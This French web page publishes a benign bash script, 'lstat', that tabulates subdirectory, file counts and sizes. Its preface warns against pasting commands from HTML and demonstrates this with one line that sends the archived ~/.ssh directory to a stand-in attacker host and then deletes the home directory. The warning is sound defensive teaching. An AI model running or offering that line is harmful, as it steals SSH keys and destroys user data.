Script: lstat
⚠️ Évitez de copier/coller le code ci-dessous.
👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World
Mieux vaut télécharger le script au format texte brut en cliquant ici
#! /usr/bin/env bash
#
# lstat
#
# Release: 1.0 of 2026/03/27
# 2026, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
set -euo pipefail
show_hidden=false
msg() { printf -- "%s\n" "$*"; }
err() { msg "$1" >&2; exit 1; }
while [ -n "${1-}" ]; do
case "$1" in
-a) show_hidden=true; shift ;;
--) shift; break ;;
*) err "Unknown parameter: $1"; shift ;;
esac
done
dir_tab=()
while IFS= read <&3 -rd '' directory; do
name="${directory##*/}"
if $show_hidden || [[ "${name:0:1}" != '.' ]]; then
dir_tab+=("$name")
fi
done 3< <(find . -maxdepth 1 -type d -print0 | sort -z)
{
msg "subdir(s) file(s) size dirname"
for directory in "${dir_tab[@]}"; do
nd=$(find "$directory" -mindepth 1 -type d | wc -l)
nf=$(find "$directory" -type f | wc -l)
sz=$(du -sh "$directory")
msg "$nd $nf $sz"
done
} | column -t
exit 0
